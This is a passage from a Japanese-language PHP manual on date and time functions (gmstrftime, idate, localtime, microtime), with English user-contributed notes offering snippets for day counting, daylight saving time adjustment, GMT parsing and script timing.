        $tm = $months;
        $tm = array_slice ( $tm, $month );
        $t -= array_sum ( $tm ) * $ds;
        unset ( $tm );
    }

    $nh = ( ( $month == 2 && $leap_year ? 29 : $months[$month-1] ) - $day );
    $t -= $nh != 0 ? $nh * $ds : 0;
    $nh = 23 - $hour;
    $t -= $nh != 0 ? $nh * $hs : 0;
    $nh = 59 - $minute;
    $t -= $nh != 0 ? $nh * $ms : 0;
    $nh = 59 - $second;
    $t -= $nh != 0 ? $nh + 1 : 0;

    return ( $t );
}

?>
welch at advomatic dot com 02-Feb-2005 12:48
Here is a handy routine for counting down to the minute, hour, and day to a timestamp

<?php
      $minutesleft = floor(($timestamp - gmtime()) / 60);

      if ($minutesleft < 0) {
        $timeleft = 'NOW';
      }
      else if ($minutesleft < 60) {
        $timeleft = ($minutesleft==1 ? '1 minute' : $minutesleft.' minutes');
      }
      else if ($minutesleft >= 60 && $minutesleft < (24*60)) {
        $timeleft = (floor($minutesleft/60) == 1 ? '1 hour' : floor($minutesleft/60).' hours');
      }
      else if ($minutesleft >= (24*60)) {
        $days = floor($minutesleft / (24*60));
        // hours remainder
        $hours = ($minutesleft % (24*60)) / 60;
        // hours left in the day
        $hours_left = ((time() / 60) % (24*60)) / 60;
        // see if the remainder of hours is greater than the hours left in today, if so increase the days by one so that the days remaining mimics the date rather than how many 24 hour periods there are between now and then.
        if($hours > $hours_left) {
          $days++;
        }
        $timeleft = ($days == 1 ? '1 day' : $days.' days');
      }

      echo $timeleft;
?>
imoore76 at yahoo dot com 15-Jan-2005 01:16
Why not just do:

<?php

// assuming $start and $end are timestamps

$day_diff = floor(abs($start - $end) / 86400);

?>
justin at booleangate dot org 05-Jan-2005 12:10
Here's a play on turgut85's countDays function.  I've found it to be more efficient and it accepts unix timestamps rather than arrays.  Thanks for the ideas.

<?php
function count_days($start, $end) {
  // Count the days between $start and $end where both $start and $end
  //  are UNIX timestamps

  // Swap the two values if end is greater than start (to avoid the
  //  loop of death).
  if ($start < $end) {
    $t = $start;
    $start = $end;
    $end = $t;
  }

  // Increment the start time by one day until it is equal to the
  //  end time

  $days = 0;
  while ( $start < $end ) {
    $start = strtotime("+1 days", $start);
    $days++;
  }

  return $days;
}
?>
turgut85 at hotmail dot com 06-Dec-2004 08:53
<?php

// THIS ROUTINE COUNT DAYS BEETWEEN TWO DATE //
// BEGIN DATE COULD BE IN THE PAST OR IN THE FUTURE //

$beg['YEAR']=2004;
$beg['MONTH']=10;
$beg['DAY']=1;

$end['YEAR']=2004;
$end['MONTH']=10;
$end['DAY']=3;

function countDays ($beg,$end) {

$start = gmmktime(0,0,0,$beg['MONTH'],$beg['DAY'],$beg['YEAR']);
$endin = gmmktime(0,0,0,$end['MONTH'],$end['DAY'],$end['YEAR']);

// echo $start."\n";
// echo $endin."\n";

$day = 0;

if ($start < $endin) {
$toward = 1;
} else  {
$toward = 0;
}

$mover = $start;

if ($start != $endin) {

do {

$day++;

    if ($toward)  {
    $mover = gmmktime(0,0,0,$beg['MONTH'],($beg['DAY']+$day),$beg['YEAR']);
    } else {
    $mover = gmmktime(0,0,0,$beg['MONTH'],($beg['DAY']-$day),$beg['YEAR']);
    }

} while ($mover != $endin);

}

echo $day;

return $day;
}

echo countDays ($beg,$end). " days. ";

?>

Turgut Z. YESILYURT
turgut85@hotmail.com
System and Application Developer
New Jersey, USA
mwwaygoo AT hotmail DOT com 22-Nov-2004 09:36
REF: http://www.dti.gov.uk/er/sumtimetb.htm

Since 1981 EC Directives have prescribed the start and end dates of summer time in all Member States.  There have to date been eight Directives which have set summer-time arrangements for fixed periods. The Summer Time Act 1972 sets the appropriate dates in the UK and summer-time orders have been made as necessary to implement the European Directives. The 9th EC Directive prescribes the start and end dates of summer time as the last Sundays in March and October respectively. These dates are in line with those already operating in the United Kingdom. The 9th Directive provides that these start and end dates should apply indefinitely.
---
9th EC Directive - 19 January 2001

Article 1
For the purposes of this Directive "summer-time period" shall mean the period of the year during which clocks are put forward by 60 minutes compared with the rest of the year.

Article 2
From 2002 onwards, the summer-time period shall begin, in every Member State, at 1.00 a.m., Greenwich Mean Time, on the last Sunday in March.

Article 3
From 2002 onwards, the summer-time period shall end, in every Member State, at 1.00 a.m., Greenwich Mean Time, on the last Sunday in October.

You stand corrected ;-)  (well up until 2007 anyway)
Andy 19-Oct-2004 07:00
mwwaygoo's code isn't quite right. My understanding is that the relevant dates for changing between daylight saving time in the UK is the third sunday of march and october - not the last sunday!
mwwaygoo AT hotmail DOT com 13-Sep-2004 03:51
I had a problem with hosting a UK site on a US server, the times didnt match (obviously) and also didnt account for daylight savings time. The daylight savings dates and times of change differ worldwide, so detecting if the server was in dst wouldnt work (see http://webexhibits.org/daylightsaving/).

Here is a function for creating a timestamp which can be used by date() to create all the parameters required to display the local time (site not server). I have used GMT time to create the timestamp as there is no offset for UK time (+00).

<?php
function UKdst_time()
{
    // created by Matthew Waygood (www.waygoodstuff.co.uk)
    $timestamp = mktime(gmdate("H, i, s, m, d, Y")); // UTC time
    $this_year=gmdate("Y", $timestamp);

    // last sunday in march at 1am UTC
    $last_day_of_march=gmmktime(1,0,0,3,31,$this_year);
    $last_sunday_of_march=strtotime("-".gmdate("w", $last_day_of_march)." day", $last_day_of_march);

    // last sunday in october at 1am UTC
    $last_day_of_october=gmmktime(1,0,0,10,31,$this_year);
    $last_sunday_of_october=strtotime("-".gmdate("w", $last_day_of_october)." day", $last_day_of_october);

    if( ($timestamp > $last_sunday_of_march) && ($timestamp < $last_sunday_of_october) )
    {
        $timestamp=$timestamp+3600; // foward one hour
    }
    return $timestamp;
}
?>
Dave 29-Mar-2004 09:35
There appears to be a discrepency between PHP and C timestamps.  The C time() and gettimeofday() functions are documented to return based on UTC time, but the value obtained doesn't match the PHP gmmktime() function.  Instead, it matches the PHP mktime() function, which is supposed to be local time.

It seems that C always uses a UTC timestamp and adjusts to local time through different handling functions (gmtime() vs localtime()).  PHP appears to use differing UTC/local timestamps, but single handling functions.

The exception to this rule is the PHP time() function, which appears to behave in the same was as the C version.

In short, if your PHP is working with timestamps created in C (or vice versa) make sure you are comparing apples to apples.
zhong311 at collegeclub dot com 13-Feb-2004 03:40
When attempting to use HTTP's If-Modified-Since features for caching I ran into the problem of being able to compare the GMT date the browser was sending to my own Last-Modified date (stored in a database field). I saw many examples of how to create a GMT date from a unix timestamp, but little on how to actually get a GMT date into a unix timestamp. Perhaps someone has a better way, here's my solution:

<?php

function gmstrtotime($sgm) {
    $months = array(
      'Jan'=>1,
      'Feb'=>2,
      'Mar'=>3,
      'Apr'=>4,
      'May'=>5,
      'Jun'=>6,
      'Jul'=>7,
      'Aug'=>8,
      'Sep'=>9,
      'Oct'=>10,
      'Nov'=>11,
      'Dec'=>12
    );
    list($D, $d, $M, $Y, $H, $i, $s) = sscanf($sgm, "%3s, %2d %3s %4d %2d:%2d:%2d GMT");
    return gmmktime($H, $i, $s, $months[$M], $d, $Y);
}

// test: after all is said and done
// $time should be the same as $gmtime

$time = time();
$us = date("m/d/Y H:i:s",$time);
$sgm = gmdate("D, d M Y H:i:s",$time) . " GMT";

$gmtime = gmstrtotime($sgm);

echo $us . "<BR>";
echo $sgm . "<BR>";
echo $time . "<BR>";
echo $gmtime . "<BR>";

?>

My results:

02/13/2004 10:45:42
Fri, 13 Feb 2004 20:45:42 GMT
1076705142
1076705142

Credit to kyle at frozenonline dot com for his strtotime example


ロケールの設定に基づいて GMT/UTC 時刻/日付をフォーマットする

  • ≪ gmmktime
  • idate ≫
  • PHP Manual
  • 日付・時刻 関数
  • ロケールの設定に基づいて GMT/UTC 時刻/日付をフォーマットする

gmstrftime

(PHP 4, PHP 5, PHP 7, PHP 8)

gmstrftime — ロケールの設定に基づいて GMT/UTC 時刻/日付をフォーマットする

説明

gmstrftime ( string $format , int|null $timestamp = null ) : string|false

グリニッジ標準時を返すこと以外は、 strftime() と同じ動作をします。例えば、東部標準時 (GMT -0500) で実行した場合、以下の最初の行は "Dec 31 1998 20:00:00" を出力し、二行目は "Jan 01 1999 01:00:00" を出力します。

パラメータ

format

strftime() の説明を参照ください。

timestamp

オプションのパラメータ timestamp は、 int 型の Unix タイムスタンプです。 timestamp が指定されなかったり、null だった場合のデフォルト値は、 現在の時刻です。言い換えると、デフォルトは time() の返り値となります。

返り値

指定した timestamp または timestamp が指定されていない場合に現在のローカル時間を用いて、 指定したフォーマット文字列に基づき文字列をフォーマットして返します。 月および曜日の名前、およびその他の言語依存の文字列は、 setlocale() で設定された現在のロケールを尊重して表示されます。 失敗時には、false を返します。

変更履歴

バージョン | 説明
8.0.0 | timestamp は、nullable になりました。

例

例1 gmstrftime() の例

<?php
setlocale(LC_TIME, 'en_US');
echo strftime("%b %d %Y %H:%M:%S", mktime(20, 0, 0, 12, 31, 98)) . "\n";
echo gmstrftime("%b %d %Y %H:%M:%S", mktime(20, 0, 0, 12, 31, 98)) . "\n";
?>

参考

  • strftime() - ロケールの設定に基づいてローカルな日付・時間をフォーマットする

User Contributed Notes

pvdster at hotmail dot com 22-Mar-2005 07:50
If you want the dutch time on your pages and you are hosted on a server in the USA you can easily change it this way:

<?php
setlocale(LC_TIME, 'nl_NL');
$tgl = gmstrftime("%d %B %Y - %H:%M uur",time()+3600);
?>

Then use $tgl to display the right time.
Note the +3600 is a day light savings time correction.
The result: 22 maart 2005 - 16:39 uur

First I used the normal date function and this was the previous result: March 22, 2005 - 04:28 AM

I needed it for a dutch guestbook.

I'm new to PHP and it took me a while to find it out and maybe it's of no use for experienced PHP programmers but I thought people can always ignore my post :)
peter dot albertsson at spray dot se 05-Feb-2005 07:27
gmstrftime() should not be used to generate a RFC 850 date for use in HTTP headers, since its output is affected by setlocale().

Use gmdate instead:

gmdate('D, d M Y H:i:s') . ' GMT';
yellow dot snow at huskies dot com 10-Oct-2004 09:15
HTTP 1.1 (RFC 2068) requires an RFC 1123 date with a four digit year, so the correct format to use for a Last-modified header would look something like this:

<?php
header("Last-modified: " .
gmstrftime("%a, %d %b %Y %T %Z",getlastmod()));
?>
neo at gothic-chat d0t de 24-Jun-2004 11:27
To get a RFC 850 date (used in HTTP) of the current time:

gmstrftime ("%A %d-%b-%y %T %Z", time ());

This will get for example:
Friday 25-Jun-04 03:30:23 GMT

Please note that times in HTTP-headers _must_ be GMT, so use gmstrftime() instead of strftime().


ローカルな時刻/日付を整数として整形する

  • ≪ gmstrftime
  • localtime ≫
  • PHP Manual
  • 日付・時刻 関数
  • ローカルな時刻/日付を整数として整形する

idate

(PHP 5, PHP 7, PHP 8)

idate — ローカルな時刻/日付を整数として整形する

説明

idate ( string $format , int|null $timestamp = null ) : int|false

指定された引数 timestamp を、 与えられたフォーマット文字列によりフォーマットし、日付数値を返します。 タイムスタンプが与えられない場合は、現在のローカル時刻が使われます。 つまり、timestamp はオプションであり、 そのデフォルト値は time() の値です。

関数 date() と異なり、idate() は format パラメータ中は一文字しか受け取りません。

パラメータ

format

以下の文字が format パラメータ文字列として認識されます
format 文字 | 説明
B | Swatch ビート/インターネット時間
d | 月の日
h | 時 (12 時間単位)
H | 時 (24 時間単位)
i | 分
I (大文字の i) | 夏時間の適用中は 1、 そうでなければ 0 を返す
L (大文字の l) | 閏年なら 1、 そうでなければ 0 を返す
m | 月数
s | 秒
t | 現在の月の日数
U | Unix Epoch (January 1 1970 00:00:00 UTC) からの秒数。 これは time() と同じです
w | 曜日 (日曜日は 0)
W | ISO-8601 形式。月曜日から始まる年単位の週番号
y | 年 (1 桁あるいは 2 桁の数値 - 下の「注意」を確認ください)
Y | 年 (4 桁)
z | 年間の通算日
Z | タイムゾーンのオフセット秒数

timestamp

オプションのパラメータ timestamp は、 int 型の Unix タイムスタンプです。 timestamp が指定されなかったり、null だった場合のデフォルト値は、 現在の時刻です。言い換えると、デフォルトは time() の返り値となります。

返り値

整数値を返します。 失敗した場合に false を返します

idate() が返す値の型は常に int であり、 先頭に "0" がくることはありません。そのため、idate() の返す結果が予想より少ない桁数になることもあります。以下の例を参照ください。

エラー / 例外

すべての日付/時刻関数は、 有効なタイムゾーンが設定されていない場合に E_NOTICE を発生させます。また、システム設定のタイムゾーンあるいは環境変数 TZ を使用した場合には E_STRICT あるいは E_WARNING を発生させます。 date_default_timezone_set() も参照ください。

変更履歴

バージョン | 説明
8.0.0 | timestamp は、nullable になりました。

例

例1 idate() の例

<?php
$timestamp = strtotime('1st January 2004'); //1072915200

// これは、年を 2 桁で表示します。
// しかし、ここでは年が "0" から始まるので、
// "4" だけが表示されます。
echo idate('y', $timestamp);
?>

参考

  • date() - ローカルの日付/時刻を書式化する
  • getdate() - 日付/時刻情報を取得する
  • time() - 現在の Unix タイムスタンプを返す

User Contributed Notes

khaine at herbok dot org 22-Dec-2010 02:07
A function that made by idate for print a hour you want:

<?php
function hour ( $a, $b )
{
    $timestamp = strtotime(''.$a.':'.$b.':00');
    $aa = idate('H', $timestamp);
    $bb = idate('i', $timestamp);
    if($bb=="0") { $cc = "00"; } else { $cc = $bb; }
    $dd = $aa.".".$cc;
    return($dd);
}
?>

Why should i use it?
For example:
You have to print 08:00 to 21:00 by 15 minutes periods.
This is a useful code for shipping sites for delivery time.

<?php
echo "<select name=\"example\">";
for($i=8;$i<=20;$i++)
{
    for($ii=0;$ii<=3;$ii++)
    {
        $iii = $ii * 15;
        $hour = hour($i, $iii);
        echo "<option value=\"".$hour."\">".$hour."</option>";
    }
}
echo "</select>";
?>


ローカルタイムを得る

  • ≪ idate
  • microtime ≫
  • PHP Manual
  • 日付・時刻 関数
  • ローカルタイムを得る

localtime

(PHP 4, PHP 5, PHP 7, PHP 8)

localtime — ローカルタイムを得る

説明

localtime ( int|null $timestamp = null , bool $associative = false ) : array

localtime() 関数は、C 言語の 同名の関数コールにより返される構造体と同じ内容の配列を返します。

パラメータ

timestamp

オプションのパラメータ timestamp は、 int 型の Unix タイムスタンプです。 timestamp が指定されなかったり、null だった場合のデフォルト値は、 現在の時刻です。言い換えると、デフォルトは time() の返り値となります。

associative

false に設定されるか省略された場合は、 配列は通常の数値を添字とした配列として返されます。 true に設定された場合は、 localtime() は C 言語の関数 localtime のコールにより返される構造体の全ての要素を有する連想配列を返します。 この連想配列の各キーの名前は次のようになります。

  • "tm_sec" - 秒 (0 から 59)
  • "tm_min" - 分 (0 から 59)
  • "tm_hour" - 時 (0 から 23)
  • "tm_mday" - 月の日付 (1 から 31)
  • "tm_mon" - 月 (0 (1月) から 11 (12月))
  • "tm_year" - 1900 年からの年数
  • "tm_wday" - 曜日 (0 (日曜日) から 6 (土曜日))
  • "tm_yday" - 年単位の日付 (0 から 365)
  • "tm_isdst" - 夏時間の適用中かどうか 適用中なら正の数、そうでなければ 0、不明なら負の数。

エラー / 例外

すべての日付/時刻関数は、 有効なタイムゾーンが設定されていない場合に E_NOTICE を発生させます。また、システム設定のタイムゾーンあるいは環境変数 TZ を使用した場合には E_STRICT あるいは E_WARNING を発生させます。 date_default_timezone_set() も参照ください。

変更履歴

バージョン | 説明
8.0.0 | timestamp は、nullable になりました。

例

例1 time() の例

<?php
$localtime = localtime();
$localtime_assoc = localtime(time(), true);
print_r($localtime);
print_r($localtime_assoc);
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => 24
    [1] => 3
    [2] => 19
    [3] => 3
    [4] => 3
    [5] => 105
    [6] => 0
    [7] => 92
    [8] => 1
)

Array
(
    [tm_sec] => 24
    [tm_min] => 3
    [tm_hour] => 19
    [tm_mday] => 3
    [tm_mon] => 3
    [tm_year] => 105
    [tm_wday] => 0
    [tm_yday] => 92
    [tm_isdst] => 1
)

参考

  • getdate() - 日付/時刻情報を取得する

User Contributed Notes

mimmux 18-Sep-2014 08:01
its something strange on locatime function, if i test this function with zero parameter

print_r(localtime(0));

it returns this
Array
(
    [0] => 0
    [1] => 0
    [2] => 1   <-----
    [3] => 1
    [4] => 0
    [5] => 70
    [6] => 4
    [7] => 0
    [8] => 0
)
that is not the unix epoc but one hour after, it should be
Array
(
    [0] => 0
    [1] => 0
    [2] => 0   <-----
    [3] => 1
    [4] => 0
    [5] => 70
    [6] => 4
    [7] => 0
    [8] => 0
)
Chris 25-May-2011 08:26
Sometimes, there's not a server-based/PHP method for getting local time. You have to get it from the client via Javascript.  Google "bitbucket timezone detect" and use it to set a "local_timezone" cookie that you can read from PHP and set via date_default_timezone_set()
anomie at users dot sourceforge dot net 08-Dec-2006 12:22
Here is another version of gmtime(). This one doesn't involve messing around with timezones at all. Note that PHP4 users should check out the array_combine page for replacements for that function.

<?php
function gmtime($ts=null, $is_associative=false){
    if(is_null($ts)) $ts=time();
    $t=array_map('intval',explode(',',gmdate('s,i,H,d,m,Y,w,z,I',$ts)));
    $t[4]--;
    $t[5]-=1900;
    if(!$is_associative) return $t;
    return array_combine(array('tm_sec','tm_min','tm_hour','tm_mday','tm_mon',
                                 'tm_year','tm_wday','tm_yday','tm_isdst'),
                       $t);
}
?>
tony at speedscript dot com 24-Feb-2004 10:35
Date select box for the current week, or whatever week you give for an offset (in seconds), returns the string you can echo with the select box named $name:

<?php
function week_date_selectbox( $time_offset, $name )
    {
    if( isset( $time_offset ) )
        $t = time() + $time_offset;
    else
        $t = time();

    $wday = array("Sun ","Mon ","Tue ","Wed ","Thu ","Fri ","Sat ");
    $mon = array("Jan ","Feb ","Mar ","Apr ","May ","Jun ","Jul ","Aug ","Sep ","Oct ","Nov ","Dec ");
    $mybox = "<select name=\"$name\">\n";
    for($ii = 0; $ii > -6; $ii--)
        {
        $tarr = localtime( $t + $ii * 86400, 1 );
        if( $tarr["tm_wday"] == 0 )
            {
            // found Sunday, now make the week's strings
            for($jj = 0; $jj < 7; $jj++)
                {
                $tarr = localtime( $t + ($jj + $ii) * 86400, 1 );
                $mybox .= sprintf( " <option value=\"%04d-%02d-%02d\">%s%s%d %d</option>\n",
                        ((int)$tarr["tm_year"] + 1900),
                        $tarr["tm_mon"],
                        ((int)$tarr["tm_mday"] + 1),
                        $wday[$tarr["tm_wday"]],
                        $mon[$tarr["tm_mon"]],
                        (int)$tarr["tm_mday"],
                        ((int)$tarr["tm_year"] + 1900) );
                }
            break;
            }
        }
    $mybox .= "</select>\n";

    return $mybox;
    }
?>
arch at archtech dot yi dot org 09-Dec-2002 01:25
You can implement gmtime quote simply.

<?php
function GetTZOffset() {
  $Offset = date("O", 0);

  $Parity = $Offset < 0 ? -1 : 1;
  $Offset = $Parity * $Offset;
  $Offset = ($Offset - ($Offset % 100))/100*60 + $Offset % 100;

  return $Parity * $Offset;
}

$TZOffset = GetTZOffset();

$t_time = time()-$TZOffset*60; #Counter adjust for localtime()
$t_arr = localtime($t_time);
?>
jausions-N at SPAM-hotmail dot com 26-Apr-2002 12:42
I strongly suggest to do all of your developments using GMT/UTC dates & times.

I provide here a version of a 'gmttime' function. Save it in a separate file and include it when needed.

Please post a correction here if you find it not working for your timezone (with or without daylight saving time.).

Thanks & Enjoy.
-----------------------------------------------

<?php
//
// File: gmttime.php
//
// Description:
//    Implements the gmttime function if missing from the PHP distribution
//

// Verifies that the function isn't already implemented
if (function_exists(gmttime))
    return;

//
// Function: gmttime
//
// Description:
//   Returns an array indexed as by the localtime() function:
//   - 0 or tm_sec: Seconds
//   - 1 or tm_min: Minutes
//   - 2 or tm_hour: Hour
//   - 3 or tm_mday: Day of the month
//   - 4 or tm_mon: Month of the year
//   - 5 or tm_year: Years since 1900
//   - 6 or tm_wday: Day of the week
//   - 7 or tm_yday: Day of the year
//   - 8 or tm_isdst: Is daylight saving time in effect
//   - tm_fyear: Full year (only available with associative array)
//
// Arguments:
//   - Timestamp
//   - Boolean (for associative indexing: 0 = off, 1 = on)
//
// Returns:
//   An array on success,
//   false on failure.
//
function gmttime($dTimestamp = '', $bAssoc = 0) {
    // Evaluate how much difference there is between local and GTM/UTC
    // Don't forget to correct for daylight saving time...
    $aNow = localtime();
    $iDelta = gmmktime(1, 1, 1, 1, 1, 1970, $aNow[8]) - mktime(1, 1, 1, 1, 1, 1970, $aNow[8]);

    if (!$bAssoc) {
        if ($dTimestamp == '') {
            return localtime(time() - $iDelta, 0);
        } else {
            return localtime($dTimestamp - $iDelta, 0);
        }
    } else {
        // For associative array, add full year index
        if ($dTimestamp == '') {
            $aGMTTime = localtime(time() - $iDelta, 1);
        } else {
            $aGMTTime = localtime($dTimestamp - $iDelta, 1);
        }
        $aGMTTime['tm_fyear'] = $aGMTTime['tm_year'] + 1900;
        return $aGMTTime;
    } // End [IF] return associative array?
} // End [FUNCTION] gmttime
?>
bens_nospam at benjamindsmith dot com 30-Mar-2002 06:29
You must keep in mind the difference between your server's time and your client's time!

I ran into this one when I wrote a calendar-based reminder system with SMS messaging - guys back east were always getting their messages late. (!?!)

I wrote two functions as wrappers for date handling, ServerTime() and ClientTime() that take client time (integer timestamp) and translate to server time and vice-versa based on config file settings.

Needless to say, you CANNOT FORGET THIS.
test at test dot de 21-Aug-2001 10:05
to set up berlin time it could look like this:

<?php
    print "<HTML><body><pre>";

    setlocale( "LC_ALL", "de_DE" );

    putenv( "PHP_TZ=Europe/Berlin" );

    $now = time();

    print_r( localtime(time(),true) );
    print_r( getdate() );

    print date("H:i:s");
    print date("T");

?>
verdy_p at wanadoo dot fr 22-Jul-2001 05:23
The corresponding function call to get the GMT time is not specified here. Only local time is reported, according to the current TZ environment setting.
One could try to use putenv() to set another timezone temporarily, however when running PHP in safe mode, putenv() is disabled and cannot be used in scripts.
However it's possible to simulate gmttime() by using localtime() and by transforming the results in the returned array.
The biggest problem with this function is that it is using an OS-dependent and localtime() function which is also depending on the standard C library implementation (some of them, do not support accurate locales). The second problem is that localtime() does not return an index specifying the local timezone offset, so transforming this date to UTC will become very ugly. Some systems support the gmtime() C function call, some don't. To get the timezone, some C libraries provide a global _timezone variable, some provide it as a macro that use a function call, some do not provide any variable, and one must deduce it by interpreting the TZ environment. This is too much ugly for PHP.

PHP should be extended by adding support to gmttime() with the same parameters, but the returned array should include additional indices to store the timezone offsets in seconds and names for both standard time and DST, for example:
 [tz_offset_std] = 3600,
 [tz_offset_dst]= 7200,
 [tz_name_std] = 'CET', (GMT+01:00)
 [tz_name_dst] = 'CEDT'. (GMT+02:00)
Or for the international, locale-independant, Zulu time (also known as UCT or simply UT), returned by gmtime():
 [tz_offset] = 0,
 [tz_offset_dst]= 0,
 [tz_name] = 'Z',
 [tz_name_dst] = 'Z'.

But it's much easier to use PHP's date() and gmdate() to make such transformations.

Beware of DST rules! In the southern hemisphere, standard time still occurs during winter, but the southern Winter is in June, not in December ! Use the tm_isdst indicator to know which timezone to display or interpret !


現在の Unix タイムスタンプをマイクロ秒まで返す

  • ≪ localtime
  • mktime ≫
  • PHP Manual
  • 日付・時刻 関数
  • 現在の Unix タイムスタンプをマイクロ秒まで返す

microtime

(PHP 4, PHP 5, PHP 7, PHP 8)

microtime — 現在の Unix タイムスタンプをマイクロ秒まで返す

説明

microtime ( bool $as_float = false ) : string|float

microtime() は、現在の Unix タイムスタンプをマイクロ秒単位で返します。 この関数は、gettimeofday() システムコールをサポートする オペレーティングシステムでのみ使用できます。

パフォーマンスの計測には、hrtime() を使うことをお勧めします。

パラメータ

as_float

true を指定すると、microtime() は文字列ではなく float を返すようになります。詳細は、返り値の説明を参照ください。

返り値

デフォルトでは、microtime() は "msec sec" 形式の文字列を返します。ただし、sec は Unix エポック (1970 年 1 月 1 日 0:00:00 GMT) からの経過秒数、msec は sec から経過したマイクロ秒数を秒単位で表したものです。

as_float を true に設定すると、microtime() は Unixエポック からの経過秒数を マイクロ秒で正確になるように float で表したものを返します。

例

例1 microtime() でタイマスクリプト実行

<?php
/**
 * PHP 5の動作を模擬する簡単な関数
 */
function microtime_float()
{
    list($usec, $sec) = explode(" ", microtime());
    return ((float)$usec + (float)$sec);
}

$time_start = microtime_float();

// しばらくスリープ
usleep(100);

$time_end = microtime_float();
$time = $time_end - $time_start;

echo "Did nothing in $time seconds\n";
?>

例2 PHP 5 におけるタイマスクリプト実行

<?php
$time_start = microtime(true);

// しばらくスリープ
usleep(100);

$time_end = microtime(true);
$time = $time_end - $time_start;

echo "Did nothing in $time seconds\n";
?>

例3 microtime() と REQUEST_TIME_FLOAT の例 (PHP 5.4.0 以降)

<?php
// ランダムな時間のスリープ
usleep(mt_rand(100, 10000));

// PHP 5.4.0 以降は、REQUEST_TIME_FLOAT をスーパーグローバル $_SERVER から取得できるようになりました。
// ここにはリクエスト開始時のタイムスタンプがマイクロ秒の精度で記録されています。
$time = microtime(true) - $_SERVER["REQUEST_TIME_FLOAT"];

echo "Did nothing in $time seconds\n";
?>

参考

  • time() - 現在の Unix タイムスタンプを返す
  • hrtime() - システムの高精度な時刻を取得する

User Contributed Notes

aldemarcalazans at gmail dot com 01-Feb-2021 08:46
The description of "msec", in this documentation, is very bad.

It is NOT the microseconds that have elapsed since "sec" (if so, it should be given as an integer, without the "0." in the beginning of the string).
It IS the fractional part of the time elapsed since "sec", with microseconds (10E-6) precision, if the last "00" are not considered significant".
If the last two digits are significant, then we would have a precision of 10E-8 seconds.
shdwlynxjunk at yahoo dot com 07-May-2020 07:40
It is important to note that microtime(TRUE) does NOT always return a float (at least in PHP 5.x; I have not tested 7.x).  If it happens to land on an exact second, it returns an integer instead.

Here is some simple code to illustrate this:
<?php
    for ($i = 0; $i < 5000; $i++) {
      echo microtime(TRUE) . "\n";
      usleep(100); // Adjust this if your PC is too fast/slow
    }
?>

When you run this at a command line, you'll see output like this (and you'll know EXACTLY when I ran this):
1588881290.9992
1588881290.9994
1588881290.9996
1588881290.9998
1588881291           <-- Look, Ma, an integer!
1588881291.0002
1588881291.0004
1588881291.0006
1588881291.0008

Why does this matter?  Because if you want to format microtime into a very friendly but exact date/time, this popular code will fail on exact seconds (but works great otherwise):

<?php
   $raw_time = DateTime::createFromFormat('U.u', microtime(TRUE)); // This line will not create an object when microtime returns an integer because it depends on the number being a float, including a decimal point!
   $today = $raw_time->format('Y-m-d H:i:s.u'); // This will die when format is attempted on a non-object
?>

The fix is to format the microtime output to force it to always be a float:
<?php
   $utime = sprintf('%.4f', microtime(TRUE));
   $raw_time = DateTime::createFromFormat('U.u', $utime);
   $today = $raw_time->format('Y-m-d H:i:s.u');
?>

Paraphrasing the characters on Silicon Valley, "Always Float! Always Float!  Always Float!"
Carlos Reche 20-Aug-2019 02:19
As previously pointed out, setting the parameter $get_as_float as true will not allow microseconds precision (what would mean 6 decimal digits). It happens because the float returned has a big integer section, what crops the decimal one leaving it with less than 6 digits.

Here is a solution to easily calculate the execution time of a script without having to alter any configuration parameter. It uses the former way of getting microseconds.

<?php

class Timer {

    private $timeStart;
    private $microsecondsStart;
    private $timeStop;
    private $microsecondsStop;

    public function __construct() {
        $this->start();
    }

    public function start(): void {
        [$this->microsecondsStart, $this->timeStart] = explode(' ', microtime());
        $timeStop         = null;
        $microsecondsStop = null;
    }

    public function stop(): void {
        [$this->microsecondsStop, $this->timeStop] = explode(' ', microtime());
    }

    public function getTime(): float {
        $timeEnd         = $this->timeStop;
        $microsecondsEnd = $this->microsecondsStop;
        if (!$timeEnd) {
            [$microsecondsEnd, $timeEnd] = explode(' ', microtime());
        }

        $seconds      = $timeEnd - $this->timeStart;
        $microseconds = $microsecondsEnd - $this->microsecondsStart;

        // now the integer section ($seconds) should be small enough
        // to allow a float with 6 decimal digits
        return round(($seconds + $microseconds), 6);
    }
}

$t = new Timer();
usleep(250);
echo $t->getTime();

?>
joe from wonderland org 01-Jun-2018 01:10
A convenient way to write the current time / microtime as formatted string in your timezone as expression?

<?php
$nowDate = 'DateTime  now is: ' . (new \DateTime(null,(new \DateTimeZone('Europe/Berlin'))))->format('Y-m-d H:i:s');

$microDate = 'Microtime now is: ' . date_create_from_format( 'U.u', number_format(microtime(true), 6, '.', ''))->setTimezone((new \DateTimeZone('Europe/Berlin')))->format('ymd H:i:s.u e');
?>

For the microtime expression only the procedural style can be used. If you do not use namespaces the backslashes may be removed.
PHP >= 5.4 needed due to accessing a member of a newly created object in a single expression "(new DateTime())->format('Y-m-d H:i:s.u')"

DateTime  now is: 2018-06-01 14:54:58 Europe/Berlin
Microtime now is: 180601 14:54:58.781716 Europe/Berlin
johovich at yandex dot ru 05-Nov-2017 04:15
//Function to convert microtime return to human readable units
//функция для конвертации времени, принимает значения в секундах

function convert_time($time)
{
    if($time == 0 ){
        return 0;
    }
    //допустимые единицы измерения
    $unit=array(-4=>'ps', -3=>'ns',-2=>'mcs',-1=>'ms',0=>'s');
    //логарифм времени в сек по основанию 1000
    //берем значение не больше 0, т.к. секунды у нас последняя изменяемая по тысяче величина, дальше по 60
    $i=min(0,floor(log($time,1000)));

    //тут делим наше время на число соответствующее единицам измерения т.е. на миллион для секунд,
    //на тысячу для миллисекунд
    $t = @round($time/pow(1000,$i) , 1);
    return $t.$unit[$i];
}
how to set nonce value with microtime 18-Aug-2017 10:50
Using microtime() to set 'nonce' value:

ini_set("precision", 16);
$nonce="nonce=".microtime(true)/0.000001;
Daniel Rhodes 27-Aug-2013 12:54
But note that the default 'precision' setting of PHP* - which is used when a float is converted to a stringy format by echo()ing, casting or json_encode()ing etc - is not enough to hold the six digit accuracy of microtime(true).

Out of the box, microtime(true) will echo something like:

1377611450.1234

Which is obviously less than microsecond accuracy. You'll probably want to bump the 'precision' setting up to 16 which will echo something like:

1377611450.123456

*Internally* it will be accurate to the six digits even with the default 'precision', but a lot of things (ie. NoSQL databases) are moving to all-text representations these days so it becomes a bit more important.

* 14 at the time of writing
Nads 17-Jul-2013 08:28
Get date time with milliseconds

$micro_date = microtime();
$date_array = explode(" ",$micro_date);
$date = date("Y-m-d H:i:s",$date_array[1]);
echo "Date: $date:" . $date_array[0];

Test accuracy by running it in a loop.
Russell G. 03-May-2013 08:34
